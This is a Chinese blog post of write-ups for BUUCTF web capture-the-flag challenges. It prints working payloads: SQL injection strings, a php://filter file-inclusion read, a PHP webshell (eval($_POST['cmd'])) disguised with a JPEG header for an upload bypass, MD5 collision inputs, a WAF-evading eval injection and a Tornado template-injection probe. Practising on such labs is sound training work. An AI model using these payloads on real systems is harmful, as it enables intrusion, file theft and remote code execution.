首页 > 其他分享 >buuctf刷题

buuctf刷题

时间:2024-07-02 15:43:07浏览次数:1  
标签:password buuctf return flag user pcntl php 刷题

[极客大挑战 2019]Http

在源码中翻到提示请求Secret.php
先后三次要求:
come from: Referer
browser: User-Agent
can only read locally: X-Forwarded-For
伪造http即可获得flag

[极客大挑战 2019]LoveSQL

经过测试发现为MariaDB数据库,相当于mysql的增强版,大多数mysql的语法都可以直接使用.
发现是单引号闭合,可以使用报错注入

1'||updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

得到表名包括geekuser,l0ve1ysq1
然后查询列名发现这俩表的列名都为id,username,password
这就不是很对了,猜测flag在外部文件中,我们使用load_file进行读外部文件,发现被禁用了
研究了半天不知道怎么绕过,继续翻表,发现可以使用联合注入,得出flag

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

报错得翻到死...

[极客大挑战 2019]Secret File

源码中找到了提示,访问./Archive_room.php,发现一个按钮,点完发现跳转到另一个界面,但是啥也没有.
使用burp发包,对返回包进行拦截,发现注释提示访问/secr3t.php,又是一个302重定向的问题
访问/secr3t.php,直接给出了下面的代码:

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

直接使用filter伪协议去读就行

file=php://filter/read=convert.base64-encode/resource=flag.php

[ACTF2020 新生赛]Upload

文件上传题目,前端白名单检测,后端随机文件名外加比较小的黑名单检测.
我们尝试传输phtml文件,发现成功.说明后端可能开启了如下配置
AddType application/x-httpd-php .php .phtml .phps .php5 .pht

[极客大挑战 2019]Upload

也是一个文件上传,没有前端检测,后端防的很严.
猜测设置了扩展名黑名单,同时检测文件头,文件中的<?标签
我们尝试上传一个phtml文件,文件内容为

ÿØÿ`<script language="php"> eval($_POST['cmd']); </script>

前面那三个是jpg的文件头.由于php版本是7.1一下,所以可以使用这个标签实现对<?的绕过.

[BJDCTF2020]Easy MD5

上来给了一个搜索框,不知道要干啥.我们通过拦截返回包发现包头存在提示Hint: select * from 'admin' where password=md5($pass,true)因此我们合理的推测我们填入的内容会作为$pass并进行md5运算.
尝试使用quine,但是后来发现这个md5使用的是php的函数,因此quine是打不通的.
直接看wp,发现这个php中的md5中的第二个参数如果为false的话返回的结果会以16进制的形式返回,而如果第二个参数为true的话则会解析为ascii并返回.
因此我们如果能够找到一个经过md5加密后返回的字符串为'or'xxx,这个xxx要求以非0数字开头,即可成功绕过.
恰好有这么一个字符串ffifdyop,能够满足条件,输入进入下一阶段.
给出了源码:

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

md5若比较,使用数组或特定的字符均可

?a[]=1&b[]=2

进入下一阶段:
给出了源码:

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

切换请求方式为post,然后使用强碰撞绕过即可.

param1=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&param2=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab

[极客大挑战 2019]BuyFlag

我们选择查看pay.php页面,查看源码发现下面的一段注释

	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

同时提示我们flag需要是本校的学生同时花100000000来买.我们通过post传参.注意到cookie中有一个user=0,我们把它改成1

money=10000000&password=404a

提示长度过长,缩短一位,提示钱不够.猜测对长度存在限制
使用科学计数法或数组绕过

money=1e9&password=404a
money[]=10000000&password=404a

即可成功获得flag

[RoarCTF 2019]Easy Calc

上来给了一个远程的计算器,发现源码中存在下面的一段

<!--I've set up WAF to ensure security.-->
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })

我们访问calc.php发现给出了源码如下:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

我们构造请求,查看php信息

? num=1;phpinfo()

为什么要在num前添加空格,这是一个小坑.因为提示说存在waf.php的cgi在接受url中的奇怪字符的时候会自动将其忽略或是转换为_来进行识别.就比如我们的url中有%[num%id,那么他被php接受的时候会自动变为$_GET['num_id'].因此在num前添加一个空格可以在不影响php接受的情况下绕过waf检测.
我们发现phpinfo中存在如下的disable_function

passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,chdir,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,putenv,opendir,imap_open,mail,imap_mail,ini_set,apache_setenv,link,

然而scandir并没有被禁用,构造payload如下

? num=2;print_r(scandir(chr(47)))

得出根目录结构如下

2Array ( [0] => .dockerenv [1] => bin [2] => boot [3] => dev [4] => etc [5] => f1agg [6] => home [7] => lib [8] => lib64 [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => start.sh [18] => sys [19] => tmp [20] => usr [21] => var )

然后构造

? num=1;readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

成功得到flag

[ACTF2020 新生赛]BackupFile

上来给了个空白界面,提示Try to find out source file!,然后就没别的东西了.使用dirsearch扫描,第一次没好使,第二次设置参数-t 100发现存在index.php.bak备份文件.访问将其下载.

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

一个弱类型比较,逻辑很简单.key=123直接拿flag

[护网杯 2018]easy_tornado

上来给了三个链接,点开后的内容如下

/flag.txt  
flag in /fllllllllllllag
/welcome.txt  
render
/hints.txt  
md5(cookie_secret+md5(filename))

然后尝试发现其本质是向/file路由传递filename和filehash这两个参数.filehash的生成规则已经给出,关键是需要知道cookie_secret
在报文中找了半天都没有,查看wp发现是python tornado的SSTI,是一个没接触过的题型.
当我们的filehash错误的时候会被重定向error路由,传递一个msg参数,此处存在ssti漏洞.尝试输入{{2*2}}返回ORZ,说明有黑名单防护.

?msg={{handler.settings}}

handler.settings是tornado的配置字典,可以近似认为是jinjia2中的config.
我们得到了cookie_secret1eacd88a-8164-4753-bf50-d2d9a2dd1653,然后按照规则进行加密并传递参数即可获得flag

[MRCTF2020]你传你

标签:password,buuctf,return,flag,user,pcntl,php,刷题
From: https://www.cnblogs.com/merak-lbz/p/18279976

相关文章

  • 7月规划!暴力刷题法:2个月刷穿1000/880/660
    24考研数学,惊醒所有人!大家发现,没有一本习题册,覆盖了考试的所有知识点。甚至主流的模拟卷,都没有达到24卷的难度。这意味着:只刷一本习题册不够了!只刷主流模拟卷也不够了!刷题规划需要根据24考研的难度,做出很大的改变。再说现在正在一战的25考生,普遍的状态是:习题册难,......
  • BUUCTF刷题:[DDCTF 2019]homebrew event loop
    [DDCTF2019]homebreweventloop代码审计fromflaskimportFlask,session,request,Responseimporturllibimporturllib.parseapp=Flask(__name__)app.secret_key='*********************'#censoredurl_prefix='/d5afe1f66147e857'd......
  • 打卡信奥刷题(208)用Scratch图形化工具信奥P8605 [普及组][蓝桥杯 2013 国 AC] 网络寻路
    [蓝桥杯2013国AC]网络寻路题目描述XXX国的一个网络使用若干条线路连接若干个节点。节点间的通信是双向的。某重要数据包,为了安全起见,必须恰好被转发两次到达目的地......
  • [刷题笔记] Luogu P1612 [yLOI2018] 树上的链
    ProblemDescriptionDescription给定一棵有\(n\)个节点的树。每个节点有一个点权和一个参数。节点\(i\)的权值为\(w_i\),参数为\(c_i\)。\(1\)是这棵树的根。现在,对每个节点\(u\)(\(1\lequ\leqn\)),请在树上你找到最长的一条链\(v_1,v_2,\dotsv_m\),满足如下条件:......
  • 力扣刷题练习 四【283. 移动零】
    前言数组篇练习题目。记录四【283.移动零】一、题目阅读给定一个数组nums,编写一个函数将所有0移动到数组的末尾,同时保持非零元素的相对顺序。请注意,必须在不复制数组的情况下原地对数组进行操作。示例1:输入:nums=[0,1,0,3,12]输出:[1,3,12,0,0]示例......
  • 打卡信奥刷题(205)用Scratch图形化工具信奥P8588 [普及组]『JROI-8』雷雨天特别行动科
    『JROI-8』雷雨天特别行动科题目背景“天使可没有假期”“啊,又来了……还是不要勉强自己会比较好哦”已获得转载授权。题目描述对于非负整数变量xxx,记以下为一......
  • BUUCTF---rsa_output
    题目点击查看代码{21058339337354287847534107544613605305015441090508924094198816691219103399526800112802416383088995253908857460266726925615826895303377801614829364034624475195859997943146305588315939130777450485196290766249612340054354622516207681542973756......
  • C语言力扣刷题11——打家劫舍1——[线性动态规划]
    力扣刷题11——打家劫舍1和2——[线性动态规划]一、博客声明二、题目描述三、解题思路1、线性动态规划 a、什么是动态规划2、思路说明四、解题代码(附注释)一、博客声明  找工作逃不过刷题,为了更好的督促自己学习以及理解力扣大佬们的解题思路,开辟这个系列来记录......
  • 力扣刷题笔记
    记录5-6月力扣刷题,持续刷题中~2024.0515.三数之和双指针或者哈希表,注意去重的操作要考虑仔细classSolution{public:vector<vector<int>>threeSum(vector<int>&nums){vector<vector<int>>result;sort(nums.begin(),nums.end());......
  • (PAT乙级刷题)最近的斐波那契数
    题目:题解:#include<iostream>#include<cmath>#include<climits>usingnamespacestd;intmain(){intfib[50]={0};//记录10的8次方之内的斐波那契数fib[0]=0,fib[1]=1;intlen=0,i;//记录斐波那契数的个数for(i=2;fib[i-1]<......